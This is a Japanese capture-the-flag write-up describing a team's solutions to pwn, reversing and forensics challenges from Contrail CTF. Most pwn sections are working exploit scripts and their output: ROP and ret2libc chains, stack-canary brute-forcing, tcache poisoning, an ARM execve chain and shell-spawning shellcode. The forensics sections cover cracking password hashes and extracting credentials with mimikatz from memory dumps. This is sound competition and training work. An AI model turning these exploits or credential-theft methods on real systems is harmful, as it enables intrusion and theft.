Contrail CTFが12月30日から1月4日まで開催され、zer0pts
で参加しました。
全体で4786点を獲得して1位でした。
解いた問題のwriteupを簡単に書きます。
- [pwn 100pts] welcomechain
- [pwn 304pts] instant_httpserver
- [pwn 356pts] babyheap
- [pwn 100pts] pokebattle
- [rev 100pts] DownloaderLog
- [forensics 500pts] once_again
- [forensics 304pts] alice's password
- [forensics 464pts] cutecats
- [pwn 304pts] RaspiWorld
- [rev 500pts] ScrambleMeBack
- [rev 496pts] MyInstructions
- [pwn 100pts] EasyShellcode
- 感想
他のメンバーのwriteup:
[pwn 100pts] welcomechain
64-bitのELFとlibc-2.27が渡されます。
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 70 Symbols No 0 4 welcomechain
fgetsによる単純なスタックオーバーフローがあるので、libc leakしてシェルを取るだけです。
from ptrlib import * libc = ELF("./libc.so.6") elf = ELF("./welcomechain") #sock = Process("./welcomechain") sock = Socket("114.177.250.4", 2226) rop_pop_rdi = 0x00400853 # libc leak payload = b'A' * 0x28 payload += p64(rop_pop_rdi) payload += p64(elf.got("puts")) payload += p64(elf.plt("puts")) payload += p64(elf.symbol("main")) sock.sendlineafter(": ", payload) sock.recvline() libc_base = u64(sock.recvline()) - libc.symbol("puts") logger.info("libc = " + hex(libc_base)) # shell payload = b'A' * 0x28 payload += p64(rop_pop_rdi + 1) payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) sock.sendlineafter(": ", payload) sock.interactive()
やるだけ。
$ python solve.py [+] __init__: Successfully connected to 114.177.250.4:2226 [+] <module>: libc = 0x7f74c663f000 [ptrlib]$ Your input is : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ cat flag [ptrlib]$ ctrctf{W31c0m3!_c0ntr4i1_ctf_r3t2l1bc!}
[pwn 304pts] instant_httpserver
64-bitのELFとlibc-2.27が渡されます。
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 3 instant_httpserver
簡易的なHTTPサーバーで、リクエスト用のバッファに単純なスタックオーバーフローがあります。
接続ごとにforkしており、BOFがnull終端でなくて良いのでcanaryをリークできます。
proc baseは近くのcall write
に飛ばして出力を見ることでリークしました。
from ptrlib import * import threading logger.level = 0 TIMEOUT = 0.1 #HOST = "localhost" HOST = "114.177.250.4" # leak canary #""" payload = b'GET ' payload += b'A' * (0x208 - len(payload)) canary = b'\x00' for i in range(7): for c in range(0x100): sock = Socket(HOST, 4445) sock.send(payload + canary + bytes([c])) sock.recvuntil("Length is ") w = b'' for i in range(5): x = sock.recv(timeout=TIMEOUT) if x is None: break w += x if b'instant' not in w: sock.close() continue else: canary += bytes([c]) print(canary) sock.close() break else: print("Something is wrong") exit(0) """ canary = b'\x00\x89h\xfd\xf7q\xd3K' #""" # leak proc #""" payload = b'GET ' payload += b'A' * (0x208 - len(payload)) payload += canary payload += b'X' * 8 proc_base = b'\xe5' for i in range(7): for c in range(0x100): sock = Socket(HOST, 4445) sock.send(payload + proc_base + bytes([c])) sock.recvuntil("Length is ") w = b'' for i in range(5): x = sock.recv(timeout=TIMEOUT) if x is None: break w += x if b'instant' not in w: sock.close() continue else: proc_base += bytes([c]) print(proc_base) sock.close() break else: print("Something is wrong") exit(0) proc_base = u64(proc_base) - 0xde5 print(hex(u64(proc_base))) """ proc_base = u64(b'\xe5\xcd\xbf\xbc\nV\x00\x00') - 0xde5 print(hex(proc_base)) #""" # libc leak libc = ELF("libc.so.6") elf = ELF("./instant_httpserver") rop_pop_rdi = 0x00000e93 rop_pop_rsi_r15 = 0x00000e91 payload = b'GET ' payload += b'A' * (0x208 - len(payload)) payload += canary payload += b'X' * 8 payload += p64(proc_base + rop_pop_rsi_r15) payload += p64(proc_base + elf.got("write")) payload += p64(0xdeadbeef) payload += p64(proc_base + elf.plt("write")) sock = Socket(HOST, 4445) sock.send(payload) sock.recvuntil("is 520") libc_base = u64(sock.recv(8)) - libc.symbol("write") print(hex(libc_base)) sock.close() # get the shell! libc = ELF("libc.so.6") elf = ELF("./instant_httpserver") payload = b'GET ' payload += b'A' * (0x208 - len(payload)) payload += canary payload += b'X' * 8 payload += p64(proc_base + rop_pop_rsi_r15) payload += p64(1) payload += p64(0xdeadbeef) payload += p64(libc_base + libc.symbol('dup2')) payload += p64(proc_base + rop_pop_rsi_r15) payload += p64(0) payload += p64(0xdeadbeef) payload += p64(libc_base + libc.symbol('dup2')) payload += p64(proc_base + rop_pop_rdi + 1) payload += p64(proc_base + rop_pop_rdi) payload += p64(libc_base + next(libc.find('/bin/sh'))) payload += p64(libc_base + libc.symbol('system')) sock = Socket(HOST, 4445) sock.send(payload) sock.interactive()
やるだけ。
$ python solve.py 0x560abcbfc000 0x7f7ac2218000 [ptrlib]$ HTTP/1.1 200 OK Server: instant_httpserver <html>Your Req Length is 520 [ptrlib]$ cat flag ctrctf{h4ppyh4ppyr4nd0m1z3} [ptrlib]$
[pwn 356pts] babyheap
64-bitのELFとlibc-2.27が渡されます。
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 78 Symbols Yes 0 4 babyheap
単純なUAFとOOBがあり、double freeもできます。しかし、malloc+writeにあたる操作を4回すると即座にプログラムが終了してしまいます。 そのため4回のaddでlibc leakとシェル取得をする必要があります。 libc leakのためにaddは使いたくないので、stdinを使います。 scanfでデータを読み込むのでGOTのアドレスが書き込めないのですが、stdinのバッファには残るので、それをOOBで読みます。 あとは残りの3回で普通にtcache poisoningしました。
from ptrlib import * def add(size, data): sock.sendlineafter(">", "1") sock.sendlineafter(":", str(size)) sock.sendlineafter(":", data) return def show(index): sock.sendlineafter(">", "2") sock.sendlineafter(":", str(index)) return sock.recvuntil("1. write")[:-8] def delete(index): sock.sendlineafter(">", "3") sock.sendlineafter(":", str(index)) return libc = ELF("./libc.so.6") #sock = Process("./babyheap") sock = Socket("114.177.250.4", 2223) libc_main_arena = 0x3ebc40 target = 0x619f60 one_gadget = 0xe569f # libc leak payload = b'2 516' # 0x204 = 516 payload += b' ' * (0x10 - len(payload)) payload += p64(0x602031) sock.sendlineafter(">", payload) sock.recvuntil(":") libc_base = (u64(sock.recv(5)) - (libc.symbol('puts') >> 8)) << 8 logger.info("libc = " + hex(libc_base)) sock.recvuntil(">") # tcache poisoning delete(0) delete(0) add(0x18, p64(libc_base + target)) add(0x18, "dummy") add(0x18, p64(libc_base + one_gadget)) sock.interactive()
これ書きながら思ったけどscanf使って直接/bin/sh
起動した方が楽そう。想定解が気になるところ。
$ python solve.py [+] __init__: Successfully connected to 114.177.250.4:2223 [+] <module>: libc = 0x7f541d108000 [ptrlib]$ cat flag ctrctf{y0u_und3r5t00d_ab0ut_h34p} [ptrlib]$
[pwn 100pts] pokebattle
64-bitのELFとlibc-2.27が渡されます。
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 85 Symbols Yes 0 6 pokebattle
関数ポインタを持つ構造体にBOFとoverreadがあるので適当にlibc leakして/bin/shを起動するだけです。
from ptrlib import * def fight(): sock.sendlineafter("> ", "1") return def catch(index, name): sock.sendlineafter("> ", "2") sock.sendlineafter(":", str(index)) sock.sendafter(" : \n", name) return def list(index): sock.sendlineafter("> ", "4") sock.recvline() dataList = [] for i in range(10): w = sock.recvline() name, hp = w.split(b' . ')[1].split(b' /HP[') hp = int(hp[:-1]) dataList.append((name, hp)) sock.sendlineafter(":", str(index)) return dataList libc = ELF("./libc.so.6") elf = ELF("./pokebattle") #sock = Process("./pokebattle") sock = Socket("114.177.250.4", 2225) libc_ofs = 0x1b3787 # leak libc catch(0, "A" * 0x38) libc_base = u64(list(0)[0][0][0x38:]) - libc_ofs logger.info("libc = " + hex(libc_base)) # get the shell! payload = b'/bin/sh' payload += b'\x00' * (0x28 - len(payload)) payload += p64(libc_base + libc.symbol('system')) catch(0, payload) fight() sock.interactive()
やるだけ。
$ python solve.py [+] __init__: Successfully connected to 114.177.250.4:2225 [+] <module>: libc = 0x7f2cf4cab000 [ptrlib]$ cat flag ctrctf{m394_1nd3x_m0nst3r} [ptrlib]$
[rev 100pts] DownloaderLog
pcapファイルが渡されます。 HTTPでELFを落としているのでIDAで解析すると、特定の機械語領域を0x19でXORしています。 unpackスクリプトを書いて展開後のELFを保存します。
with open("k7zg2B", "rb") as f: binary = f.read() for i in range(389): binary = binary[:0x10d5+i] + bytes([binary[0x10d5+i] ^ 0x19]) + binary[0x10d6+i:] with open("unpacked", "wb") as f: f.write(binary)
これをIDAで解析すると普通にフラグを出力している処理がありました。
[forensics 500pts] once_again
Win7SP1x64のメモリダンプが渡されます。
問題文にはCan you find registry?
としか書いておらず何をすれば良いのか分かりません。
まぁレジストリだし問題タイトルにonceとか入ってるし自動起動のRunOnceかなーとなんとなくおもってprintkeyしたら、フラグがrot13されて書かれていました。
$ vol.py -f onceagain.mem --profile=Win7SP1x64 printkey -K "Microsoft\Windows\CurrentVersion\RunOnce" Volatility Foundation Volatility Framework 2.6.1 Legend: (S) = Stable (V) = Volatile ---------------------------- Registry: \SystemRoot\System32\Config\SOFTWARE Key name: RunOnce (S) Last updated: 2019-12-10 14:09:45 UTC+0000 Subkeys: Values: REG_SZ flag : (S) pgspgs{i0yng1y1gl_1f_hf3shy_zrz0elnanylf1f}
rot13を戻すとフラグっぽくなるのですが、よく見るとprefixが間違っているので直して送ったら受理されました。
[forensics 304pts] alice's password
Win7SP1x64のメモリダンプが渡されます。
問題文にzip password is md5(alice's password)
とあったのでとりあえずユーザーaliceのパスワードを調べます。
普通にhivelist+hashdumpで取ったハッシュをcrackstationに投げたらパスワードが平文で降ってきました。
それのmd5を取って後から配布されたzipファイルを展開するとフラグが出てきます。
[forensics 464pts] cutecats
alice's passwordと同じメモリダンプです。
問題文にI'm browsing cute catz...
とあったのでieの履歴や自動補完で保存されたパスワードなどを調べましたが何も出ませんでした。
なんやかんやを試してるうちに突然頭の中でcatz-->mimikatzという謎変換がされてmimikatzを使ってみることにしました。
$ vol.py --plugins=./plugins -f memdump.mem --profile=Win7SP1x64 mimikatz Volatility Foundation Volatility Framework 2.6.1 Module User Domain Password -------- ---------------- ---------------- ---------------------------------------- wdigest Aqua WIN-O1AE35RFM94 ctrctf{Y0u_c4n_us3_m1m1katz} wdigest WIN-O1AE35RFM94$ WORKGROUP
メモリ・ディスクダンプ系は個人的に好きなのでいっぱいあって楽しいです。
[pwn 304pts] RaspiWorld
32-bitでstatic linkのARM ELFが渡されます。
$ checksec -f 0.elf RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 3588 Symbols Yes 0 39 0.elf
ARM何も分からん。とりあえずghidraで読むとgetsでBOFがあります。 getsでシェルコード書き込んでmprotectで実行可能にしようと思ったのですが、私のカニ味噌以下の脳味噌ではgetsが終わった後に別のgadgetに移れませんでした。 ということで使えそうなROP gadgetをたくさん探してつなぎ合わせて誤魔化します。 今回使ったROP gadgetは下のやつらです。
rop_pop_r1 = 0x0006d108 rop_pop_r7 = 0x0001930c rop_pop_r3 = 0x00010160 rop_mov_r0_r1_pop_r4_r5_r6 = 0x000374c8 rop_mov_r1_sp_blx_r3 = 0x00046c98 rop_mov_r2_r3_blx_r7 = 0x0002b254 rop_swi_0 = 0x00028228
やりたいことはexecve("/bin/sh", NULL, NULL);
ですが、getsが動かせないので/bin/sh
をスタックに置きます。
ARMには結構spをmovするgadgetがあるので、mov r1, sp
とmov r0, r1
の2つのgadgetでr0にspを入れます。
r1にspが入る時点でspはblx r3
される前なので、pop r4; pop r5; pop r6;
で取り出される部分に当たります。
したがって、ROP chainのちょうどこの部分に/bin/sh
を入れると上手いことpopされて何事も無かったかのように次のROP gadgetが実行されます。
from ptrlib import * elf = ELF("./0.elf") #sock = Process(["qemu-arm", "-g", "1234", "./0.elf"]) #sock = Process("./0.elf") sock = Socket("114.177.250.4", 7777) rop_pop_r1 = 0x0006d108 rop_pop_r7 = 0x0001930c rop_pop_r3 = 0x00010160 rop_mov_r0_r1_pop_r4_r5_r6 = 0x000374c8 rop_mov_r1_sp_blx_r3 = 0x00046c98 rop_mov_r2_r3_blx_r7 = 0x0002b254 rop_swi_0 = 0x00028228 addr_table = elf.section('.bss') + 0x800 payload = b'A' * 0x44 # r0 = sp + delta payload += p32(rop_pop_r3) payload += p32(rop_mov_r0_r1_pop_r4_r5_r6) payload += p32(rop_mov_r1_sp_blx_r3) payload += b'/bin/sh\x00' payload += p32(0xdeadbeef) # r2 = 0, r7 = 11 payload += p32(rop_pop_r3) payload += p32(0) payload += p32(rop_pop_r7) payload += p32(rop_pop_r7) payload += p32(rop_mov_r2_r3_blx_r7) payload += p32(11) # r1 = 0 payload += p32(rop_pop_r1) payload += p32(0) payload += p32(rop_swi_0) sock.recvline() sock.sendline(payload) sock.recvline() sock.interactive()
黒魔術してしまいましたが、勉強になりました。
[rev 500pts] ScrambleMeBack
go製のバイナリが渡されます。
ただでさえgoは書かないのにgo製のバイナリとか渡されても意味分からんのですが、筋肉で解析しました。
IDAで見るとScrambleMeと同様に何かしら処理をした結果がg0l4n6_15_g00d
かを調べているのですが、それを出力する代わりにフラグファイルを読み込んで出力するようになっていました。
したがって鍵を解析する必要があります。
IDAで読みつつgdbで止めて、各変数や関数の意味を調べたところ、次のような処理をしていることが分かりました。
def scramble(key): w = 0 j = 1 output = b'' for i in range(2, len(key)): j = (key[i] + j * (j + i)) % 0x60 + j if i > 8 and i < len(key) - 3: v13 = 0x60 * (j // 0x60) output += bytes([table[j - v13]]) w += 1 return output
このoutputがg0l4n6_15_g00d
になれば良いです。tableはバイナリ中に書かれています。
いい感じに鍵を探索するスクリプトを書いて、結果をサーバーに送ればフラグが降ってきます。
import struct with open("ScrambleMeBack", "rb") as f: table = [] f.seek(0xdf5e0) for i in range(0x60): table.append(struct.unpack('<I', f.read(4))[0]) def scramble(key): w = 0 j = 1 output = b'' for i in range(2, len(key)): j = (key[i] + j * (j + i)) % 0x60 + j if i > 8 and i < len(key) - 3: v13 = 0x60 * (j // 0x60) output += bytes([table[j - v13]]) w += 1 return output def search(key, i=2, j=1, w=0, output=b''): if w == len(answer): yield key, output else: if i > 8 and i < len(key) - 3: for x in range(0x30, 0x7f): try_j = (x + j * (j + i)) % 0x60 + j v13 = 0x60 * (try_j // 0x60) if len(table) <= try_j - v13: continue elif table[try_j - v13] == answer[w]: next_key = key[:i] + bytes([x]) + key[i+1:] for candidate in search(next_key, i+1, try_j, w+1, output+bytes([table[try_j-v13]])): yield candidate else: next_j = (key[i] + j * (j + i)) % 0x60 + j for candidate in search(key, i+1, next_j, w, output): yield candidate answer = b'g0l4n6_15_g00d' key = b'0' * (8 + 4 + len(answer)) for candidate in search(key): print(candidate) print(scramble(candidate[0])) exit()
勉強になりますね。 goバイナリの解析手法を知らないのですが、どうやって解くのが想定だったのでしょうか。
[rev 496pts] MyInstructions
C++製で最適化されたバイナリが渡されます。 VMの構造は割と単純なので、目力で読んで逆アセンブラを書きます。
import struct def disasm(code): def n2r(n): return 'reg{}'.format(n) def u32(n): return hex(struct.unpack('<I', n)[0]) output = [] pc = 0 sf, zf = 0, 0 while len(code) > pc: ope = code[pc] if ope == 0x10: # mov regX, regY output.append('0x{:03X} mov {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2]))) pc += 3 elif ope == 0x11: # mov regX, IMM output.append('0x{:03X} mov {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6]))) pc += 6 elif ope == 0x20: # and regX, regY output.append('0x{:03X} and {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2]))) pc += 3 elif ope == 0x21: # and regX, IMM output.append('0x{:03X} and {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6]))) pc += 6 elif ope == 0x22: # or regX, regY output.append('0x{:03X} or {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2]))) pc += 3 elif ope == 0x23: # or regX, IMM output.append('0x{:03X} or {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6]))) pc += 6 elif ope == 0x24: # xor regX, regY output.append('0x{:03X} xor {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2]))) pc += 3 elif ope == 0x25: # xor regX, IMM output.append('0x{:03X} xor {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6]))) pc += 6 elif ope == 0x30: # not regX output.append('0x{:03X} not {}'.format(pc, n2r(code[pc+1]))) pc += 2 elif ope == 0x50: # add regX, regY output.append('0x{:03X} add {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2]))) pc += 3 elif ope == 0x51: # add regX, IMM output.append('0x{:03X} add {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6]))) pc += 6 elif ope == 0x52: # sub regX, regY output.append('0x{:03X} sub {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2]))) pc += 3 elif ope == 0x53: # sub regX, IMM output.append('0x{:03X} sub {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6]))) pc += 6 elif ope == 0x60: # cmp regX, regY output.append('0x{:03X} cmp {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2]))) pc += 3 elif ope == 0x61: # cmp regX, IMM output.append('0x{:03X} cmp {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6]))) pc += 6 elif ope == 0x40: # jmp regX output.append('0x{:03X} jmp {}'.format(pc, n2r(code[pc+1]))) pc += 2 elif ope == 0x41: # jmp IMM output.append('0x{:03X} jmp {}'.format(pc, u32(code[pc+1:pc+5]))) pc += 5 elif ope == 0x42: # jge regX output.append('0x{:03X} jge {}'.format(pc, n2r(code[pc+1]))) pc += 2 elif ope == 0x43: # jge IMM output.append('0x{:03X} jge {}'.format(pc, u32(code[pc+1:pc+5]))) pc += 5 elif ope == 0x44: # js regX output.append('0x{:03X} js {}'.format(pc, n2r(code[pc+1]))) pc += 2 elif ope == 0x45: # js IMM output.append('0x{:03X} js {}'.format(pc, u32(code[pc+1:pc+5]))) pc += 5 elif ope == 0x46: # jz regX output.append('0x{:03X} jz {}'.format(pc, n2r(code[pc+1]))) pc += 2 elif ope == 0x47: # jz IMM output.append('0x{:03X} jz {}'.format(pc, u32(code[pc+1:pc+5]))) pc += 5 elif ope == 0x48: # jnz regX output.append('0x{:03X} jnz {}'.format(pc, n2r(code[pc+1]))) pc += 2 elif ope == 0x49: # jnz IMM output.append('0x{:03X} jnz {}'.format(pc, u32(code[pc+1:pc+5]))) pc += 5 elif ope == 0xff: # hlt output.append('0x{:03X} assert reg0 == 0'.format(pc)) pc += 1 else: print("EOA") break return output if __name__ == '__main__': with open("my_instructions", "rb") as f: f.seek(0x3c00) code = f.read(0x160) print('\n'.join(disasm(code)))
機械語はハードコーディングされてるので逆アセンブラに投げます。
0x000 mov reg8, 0x646e3468 0x006 xor reg0, reg8 0x009 mov reg9, 0x64346d5f 0x00F xor reg1, reg9 0x012 xor reg9, reg9 0x015 mov reg10, 0xde8ca0cc 0x01B not reg10 0x01D xor reg2, reg10 0x020 mov reg11, 0x575f4405 0x026 xor reg11, reg8 0x029 xor reg3, reg11 0x02C mov reg8, 0x746e6f63 0x032 mov reg9, reg4 0x035 and reg4, reg8 0x038 or reg9, reg8 0x03B xor reg4, 0x544c4643 0x041 xor reg9, 0x7f6f7f7f 0x047 or reg4, reg9 0x04A mov reg8, 0x6c696172 0x050 mov reg9, reg5 0x053 not reg5 0x055 and reg5, reg8 0x058 xor reg9, 0x21667463 0x05E or reg9, reg8 0x061 xor reg5, 0x8494010 0x067 xor reg9, 0x6e7b6577 0x06D or reg5, reg9 0x070 cmp reg5, 0x0 0x076 jz 0x82 0x07B mov reg0, 0x1 0x081 assert reg0 == 0 0x082 mov reg8, 0x3fb1d 0x088 mov reg9, 0x3d6 0x08E sub reg6, reg8 0x091 sub reg9, 0x1 0x097 cmp reg9, 0x0 0x09D jnz 0x8e 0x0A2 xor reg6, 0x24232221 0x0A8 mov reg8, 0x33766f31 0x0AE mov reg9, reg8 0x0B1 xor reg10, reg10 0x0B4 xor reg7, reg8 0x0B7 add reg8, reg9 0x0BA cmp reg8, reg10 0x0BD jge 0xb4 0x0C2 mov reg8, 0x64 0x0C8 mov reg9, 0x0 0x0CE mov reg10, 0x1 0x0D4 mov reg11, 0x3 0x0DA mov reg12, 0x5 0x0E0 mov reg13, 0x7 0x0E6 sub reg11, reg10 0x0E9 sub reg12, reg10 0x0EC sub reg13, reg10 0x0EF cmp reg11, reg9 0x0F2 jnz 0x103 0x0F7 mov reg11, 0x3 0x0FD add reg7, 0x123456 0x103 cmp reg12, reg9 0x106 jnz 0x117 0x10B mov reg12, 0x5 0x111 sub reg7, 0x112233 0x117 cmp reg13, reg9 0x11A jnz 0x12b 0x11F mov reg13, 0x7 0x125 sub reg7, 0x654321 0x12B sub reg8, reg10 0x12E cmp reg8, reg9 0x131 jge 0xe6 0x136 xor reg7, 0x7818f5b8 0x13C xor reg0, reg1 0x13F xor reg0, reg2 0x142 xor reg0, reg3 0x145 xor reg0, reg4 0x148 xor reg0, reg5 0x14B xor reg0, reg6 0x14E xor reg0, reg7 0x151 assert reg0 == 0 0x152 xor reg51, 0x42007332
入力したフラグがそのままレジスタ(reg0〜reg7)の初期状態になります。 reg0からreg6は単純なxor等を使っているのでそのままz3の式に落とせます。 reg7はループを使ってい生成しているのでそのままz3の式には変換しにくいです。 よく読むとreg7はループ回数に影響しないので、pythonでエミュレートして操作前後での差分を取ります。
reg7 = 0 orig_reg7 = reg7 reg8 = 0x33766f31 reg9 = reg8 reg10 = 0 while reg8 >> 31 == 0: reg7 ^= reg8 reg8 = (reg8 + reg9) & 0xffffffff print(reg7 ^ orig_reg7) reg8 = 0x64 reg9 = 0 reg10 = 1 reg11 = 3 reg12 = 5 reg13 = 7 orig_reg7 = reg7 while reg8 >= reg9: reg11 -= 1 reg12 -= 1 reg13 -= 1 if reg11 == reg9: reg11 = 3 reg7 = (reg7 + 0x123456) & 0xffffffff if reg12 == reg9: reg12 = 5 reg7 = (reg7 + (0xffffffff ^ 0x112233) + 1) & 0xffffffff if reg13 == reg9: reg13 = 7 reg7 = (reg7 + (0xffffffff ^ 0x654321) + 1) & 0xffffffff reg8 -= reg10 print(reg7 - orig_reg7) if reg7 ^ 0x7818f5b8 == 0: # OK pass
あとはz3にぶち込むだけ。
from z3 import * flag = [BitVec('flag{:02X}'.format(i), 32) for i in range(8)] s = Solver() s.add( And( flag[0] ^ 0x646e3468 == 0, # --> reg0 flag[1] ^ 0x64346d5f == 0, # --> reg1 flag[2] ^ (0xffffffff ^ 0xde8ca0cc) == 0, # --> reg2 flag[3] ^ (0x575f4405 ^ 0x646e3468) == 0, # --> reg3 ((flag[4] & 0x746e6f63) ^ 0x544c4643) | ((flag[4] | 0x746e6f63) ^ 0x7f6f7f7f) == 0, # --> reg4 (((flag[5] ^ 0xffffffff) & 0x6c696172) ^ 0x08494010) | (((flag[5] ^ 0x21667463) | 0x6c696172) ^ 0x6e7b6577) == 0, # --> reg5 (flag[6] - 0x3fb1d * 0x3d6) ^ 0x24232221 == 0, # --> reg6 ((flag[7] ^ 1436201299) - 75995316) ^ 0x7818f5b8 == 0 ) ) while True: r = s.check() if r == sat: m = s.model() answer = [b'????' for i in range(8)] for d in m.decls(): answer[int(d.name()[4:], 16)] = bytes.fromhex(hex(m[d].as_long())[2:])[::-1] print(b''.join(answer)) s.add(Not(And([flag[int(d.name()[4:], 16)] == m[d] for d in m.decls()]))) else: print(r) break
ちゃんと解が一意に定まりました。よくできたVM問という感じで面白かったです。
$ python solve.py b'h4nd_m4d3_s!mp13_VM_f14g_ch3??:)' unsat
[pwn 100pts] EasyShellcode
x64のシェルコード問です。 20バイトだけシェルコードを読んだあとレジスタを0にし、raxを使ってジャンプします。 20バイトもあれば大して工夫せずにシェルが起動できるので起動します。
_start: add edx, 59 mov rsi, rax xor eax, eax syscall mov rdi, rsi xor esi, esi xor edx, edx syscall db 'E', 'O', 'F'
投げる。
from ptrlib import * with open("shellcode.o", "rb") as f: f.seek(0x180) sc = f.read() sc = sc[:sc.index(b'EOF')] assert len(sc) < 0x14 #sock = Process("./problem") sock = Socket("114.177.250.4", 2210) print("len = {}".format(len(sc))) payload = b'/bin/sh' payload += b'\x00' * (59 - len(payload)) sock.sendafter(": ", sc) sock.send(payload) sock.interactive()
終わり。
$ python solve.py [+] __init__: Successfully connected to 114.177.250.4:2210 len = 19 [ptrlib]$ cat flag ctrctf{Tw0_3t4g3_s311c0d3} [ptrlib]$
感想
全体的に良問が多くて新年早々楽しめました。 CTF初開催&4日間の運営ということで大変だったと思います。 運営の皆さん、ありがとうございました。